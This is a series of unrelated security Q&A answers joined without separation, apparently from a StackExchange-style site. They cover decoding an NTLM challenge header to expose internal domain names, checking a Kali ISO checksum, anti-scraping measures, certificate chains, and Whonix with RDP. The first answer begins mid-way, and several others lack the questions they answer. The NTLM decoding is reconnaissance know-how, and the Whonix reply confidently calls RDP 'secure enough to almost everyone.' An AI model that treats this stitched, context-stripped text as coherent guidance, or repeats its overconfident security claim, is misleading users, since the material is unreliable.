Authorization: Negotiate TlRMTVNTUAABAAAAB4IAoAAAAAAAAAAAAAAAAAAAAAA

HTTP/1.1 401 Access Denied
Server: Microsoft-IIS/5.0
Date: Mon, 09 Jul 2007 19:03:51 GMT
WWW-Authenticate: Negotiate TlRMTVNTUAACAAAADgAOADAAAAAFgoGg9IrB7KA92AQAAAAAAAAAAGAAYAA+AAAAVwBJAEQARwBFAFQAUwACAA4AVwBJAEQARwBFAFQAUwABAAgATQBBAFIAUwAEABYAdwBpAGQAZwBlAHQAcwAuAGMAbwBtAAMAIABtAGEAcgBzAC4AdwBpAGQAZwBlAHQAcwAuAGMAbwBtAAAAAAA=
Content-Length: 4033
Content-Type: text/html

  Upon decoding the data, the following strings are revealed:

NTLMSSP0
WIDGETS
MARS
widgets.com
mars.widgets.com

To understand those variables and further HTTP-based NTLM authentication, check out the resources here -- http://www.innovation.ch/personal/ronald/ntlm.html -- as well as in the old presentation on Cracking NTLMv2 Authentication -- http://www.blackhat.com/presentations/win-usa-02/urity-winsec02.ppt (for the different NTLM SSP provider internals)


The verification steps assume that you are already using Linux. As you're using Windows, you'll need to follow the manual verification steps from the Kali download page.

To run a SHA1 checksum on Windows, download and install Microsoft's checksum app. Per this page, run it with the command:

  fciv.exe -sha1 kali-linux-1.1.0-amd64.iso

Then compare the checksum by hand with what's on the Kali download page.

Update: 02 July 2017
Kali is now using SHA256 which is not supported by fciv. You can use PowerShell as suggested by @Rоry McCune in the comments. The syntax is

Get-FileHash kali-linux-2017.1-amd64.iso -Algorithm sha256

You may need to change the filename if you are using a different version of Kali.


How to Secure REST API from being crawled when serving public content ?

I used to write web scrappers as a job, and here are my two cents on the toughest issues I faced when I was on the other side of your problem.

Load some or all of the content via several AJAX calls. If the scrapper isn't tailored to your site, this will stop the scrappers. In practice, you could answer with a JSON which would have only the beginning of the content and a nonce token which would be requested to fetch the next part of the content.
Additionally, if you know that your REST api should only be used from your React app, you can add a long duration token from Django to the main React template. Then the REST API would require the content ID as well as that unique token. In your database, you would assign that token to a given IP address and make it expire in a reasonably small amount of time. This would require bots to fetch the HTML side of the app first to get that token and then fetch the content itself.
Throttling was usually an annoyance. The implementations I encountered were based on the IP address and users were allowed 10 requests per second. That's much more than what a typical human would do. To pass that, my code would have to keep track of the time when ten requests were sent, and then on timeout request ten more pieces of content.
Add a honeypot to the disallow of your robots.txt. Nefarious bots don't follow the rules. Also part of that same job, we would redistribute the content and had others trying to scrape it. This was the most effective way of stopping most bots: they were allowed three hits to the honeypot after which they blacklisted for 36 hours unless they succeeded in solving a captcha (we were using an external tool for that). For the Django integration, we used coded that up as a middleware so it would apply to all pages. In order for this to have a minimal performance issue, we used Django's cache to store which IPs were blacklisted or whitelisted (one would be added to the whitelist if they succeeded in solving the captcha).


What is a Certification Path in SSL certificate?

This screen is displaying the Chain of Trust.  This is a list of who is offering signed proof that the key is valid as promised.

www.google.com's certificate (at the bottom of the chain) is signed by "Google Internet Authority G2".  This is called a working certificate, or the end-entity certificate.  It has a key usage flag that states the key in it can be used for "key encipherment" (meaning securing an SSL connection) and a flag that says it can not be trusted to sign keys.  Furthermore, this certificate can only be trusted for connections to www.google.com, as stated in the CN value of the subject.
The Google Internet Authority G2 certificate is signed by GeoTrust Global CA.  Google Internet Authority G2 is a Subordinate Certificate Authority (SCA).  It has key usage flags that state the key can be used to sign other certificates, but not to encipher keys.  SCAs are also known as issuing certificates. They exist so that a large organization can sign the many certificates they need to operate.  Google likely has hundreds of thousands of certificates in use.
GeoTrust Global CA's certificate is signed only by itself.  That makes it a root certificate, and at this point you can say they are a Certificate Authority (CA).  However, your browser doesn't fully trust every self signed certificate it sees, because anyone can create a self-signed certificate, and could place their phony self-signed root certificate on a fake site and spoof you into believing the site is legitimate.  Instead, you'll find that GeoTrust is an organization called a Public Certificate Authority. Public CA certificates are those that are placed in your certificate store by the OS vendor or by the browser vendor.  These are organizations that are implicitly trusted only to sign valid certificates. They undergo annual audits and are subject to a lot of rules to ensure they only issue certificates to the legitimate site owners. The responsibility for maintaining this list of trustworthy CAs is the job of the CA/Browser Forum.

You can look in Wikipedia for Public Key Infrastructure (PKI) to get more of an idea how certificates are related and used.


Whonix with Remmina to Connect on RDP - Is it safe?

If you have Whonix and install RDP on it, it's secure enough to almost everyone. Unless your government is interested in you specially, of course.

Now, if you don't trust your VPN, switch to a more trustworthy one. There are lots and lots of providers out there.